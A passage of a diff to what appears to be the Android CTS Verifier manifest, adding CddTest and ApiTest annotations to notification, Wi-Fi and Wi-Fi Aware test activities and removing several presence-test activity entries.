<meta-data android:name="display_mode" android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.3.1/C-1-4|2.2.3/3.8.10/H-1-1" />
</activity>
<activity android:name=".notifications.ShowWhenLockedActivity"
@@ -3152,6 +3201,7 @@
android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.3.3/C-1-1" />
</activity>
<activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -3166,6 +3216,7 @@
android:value="android.hardware.type.watch:android.software.leanback" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="2.2.3/3.8.4/H-1-1|3.8.3.3/C-1-1|3.8.3.3/C-1-3" />
</activity>
<activity android:name=".notifications.ToastVerifierActivity"
@@ -3178,6 +3229,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.widget.Toast#makeText" />
</activity>
<activity android:name=".notifications.BubblesVerifierActivity"
@@ -3192,6 +3245,8 @@
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.app.Notification.Builder#setBubbleMetadata|android.app.NotificationManager#notify" />
</activity>
<activity android:name=".notifications.BubbleActivity"
@@ -3212,22 +3267,6 @@
android:value="multi_display_mode" />
</activity>
- <activity android:name=".notifications.MediaPlayerVerifierActivity"
- android:label="@string/media_controls_title"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data android:name="test_category"
- android:value="@string/test_category_notifications" />
- <meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
- <meta-data android:name="display_mode"
- android:value="multi_display_mode" />
- </activity>
-
<service android:name=".notifications.MockListener"
android:exported="true"
android:label="@string/nls_service_name"
@@ -3263,6 +3302,7 @@
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.1/C-4-1" />
</activity>
<activity android:name=".qstiles.TileServiceVerifierActivity"
@@ -3479,6 +3519,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity"
@@ -3486,6 +3534,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity"
@@ -3493,6 +3549,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity"
@@ -3500,6 +3564,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsid
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssid
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidTestActivity"
@@ -3507,6 +3579,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity"
@@ -3514,6 +3599,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity"
@@ -3521,6 +3619,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity"
@@ -3528,6 +3639,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity"
@@ -3535,6 +3659,19 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase
+ |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered
+ |android.net.wifi.WifiManager#addNetworkSuggestions
+ |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener
+ |android.net.wifi.WifiManager#getNetworkSuggestions
+ |android.net.wifi.WifiManager#removeNetworkSuggestions
+ |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener
+ |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" />
</activity>
<activity android:name=".p2p.GoNegRequesterTestListActivity"
@@ -3698,6 +3835,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
@@ -3705,6 +3845,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenPassiveSubscribeAcceptAnyTestActivity"
@@ -3712,6 +3855,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
@@ -3719,6 +3866,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
@@ -3726,6 +3876,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity"
@@ -3733,6 +3887,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
@@ -3740,6 +3898,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
@@ -3747,6 +3909,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkPassiveSubscribeAcceptAnyTestActivity"
@@ -3754,6 +3920,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
</activity>
<activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
@@ -3761,6 +3932,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
@@ -3768,6 +3942,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathOpenActiveSubscribeAcceptAnyTestActivity"
@@ -3775,6 +3952,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
@@ -3782,6 +3963,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
@@ -3789,6 +3974,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeAcceptAnyTestActivity"
@@ -3796,6 +3985,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
@@ -3803,6 +3997,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
@@ -3810,6 +4008,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" />
</activity>
<activity android:name=".wifiaware.DataPathPmkActiveSubscribeAcceptAnyTestActivity"
@@ -3817,6 +4019,11 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" />
</activity>
<activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
@@ -3824,6 +4031,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
</activity>
<activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
@@ -3831,6 +4040,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" />
</activity>
<activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
@@ -3838,6 +4049,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
@@ -3845,6 +4058,8 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" />
</activity>
<activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity"
@@ -3852,6 +4067,12 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+ |android.net.wifi.aware.PublishConfig.Builder#setRangingEnabled
+ |android.net.wifi.rtt.WifiRttManager#startRanging
+ |android.net.wifi.aware.WifiAwareManager#attach
+ |android.net.wifi.aware.WifiAwareSession#publish" />
</activity>
<activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity"
@@ -3859,6 +4080,12 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer
+ |android.net.wifi.aware.SubscribeConfig.Builder#setMaxDistanceMm
+ |android.net.wifi.rtt.WifiRttManager#startRanging
+ |android.net.wifi.aware.WifiAwareManager#attach
+ |android.net.wifi.aware.WifiAwareSession#subscrible" />
</activity>
<activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity"
@@ -3866,6 +4093,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
</activity>
<activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity"
@@ -3873,6 +4104,10 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build
+ |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" />
</activity>
<activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity"
@@ -3880,6 +4115,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity"
@@ -3887,6 +4125,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity"
@@ -3894,6 +4135,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity"
@@ -3901,6 +4145,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" />
</activity>
<activity android:name=".wifiaware.DataPathForceChannelSetupSubscribeTestActivity"
@@ -3908,6 +4155,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
</activity>
<activity android:name=".wifiaware.DataPathForceChannelSetupPublishTestActivity"
@@ -3915,174 +4165,9 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
- </activity>
-
- <!-- CTS Verifier Presence Test Top Screen -->
- <activity
- android:name=".presence.PresenceTestActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/presence_test" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/test_category_networking" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- </activity>
-
- <!--
- CTS Verifier Uwb Precision Test Screen
- test category : uwb
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.UwbPrecisionActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/uwb_precision" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/uwb" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data android:name="CddTest"
- android:value="7.4.9/C-1-1" />
- </activity>
-
- <!--
- CTS Verifier Uwb Short Range Test Screen
- test category : uwb
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.UwbShortRangeActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/uwb_short_range" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/uwb" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddTest"
- android:value="7.4.9/C-1-2" />
- </activity>
-
- <!--
- CTS Verifier BLE RSSI Precision Test Screen
- test category : BLE
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.BleRssiPrecisionActivity"
- android:exported="true"
- android:label="@string/ble_rssi_precision_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/ble" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="test_required_features"
- android:value="android.hardware.bluetooth_le" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddText"
- android:value="7.4.3/C-7-1" />
- </activity>
-
- <!--
- CTS Verifier BLE Rx/Tx Calibration Test Screen
- test category : BLE
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.BleRxTxCalibrationActivity"
- android:exported="true"
- android:label="@string/ble_rx_tx_calibration_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/ble" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data
- android:name="test_required_features"
- android:value="android.hardware.bluetooth_le" />
- <meta-data
- android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data
- android:name="CddText"
- android:value="7.4.3/C-7-2" />
- </activity>
-
- <!-- CTS Verifier Nan Precision and Bias Test Screen
- test category : wifi_nan
- test parent : PresenceTestActivity
- -->
- <activity
- android:name=".presence.NanPrecisionTestActivity"
- android:configChanges="keyboardHidden|orientation|screenSize"
- android:exported="true"
- android:label="@string/nan_precision" >
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
-
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
-
- <meta-data
- android:name="test_category"
- android:value="@string/wifi_nan" />
- <meta-data
- android:name="test_parent"
- android:value="com.android.cts.verifier.presence.PresenceTestActivity" />
- <meta-data android:name="display_mode"
- android:value="single_display_mode" />
- <meta-data android:name="CddTest"
- android:value="7.4.2.5/H-1-1|7.4.2.5/H-1-2" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder
+ |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" />
</activity>
<activity-alias
@@ -4123,6 +4208,7 @@
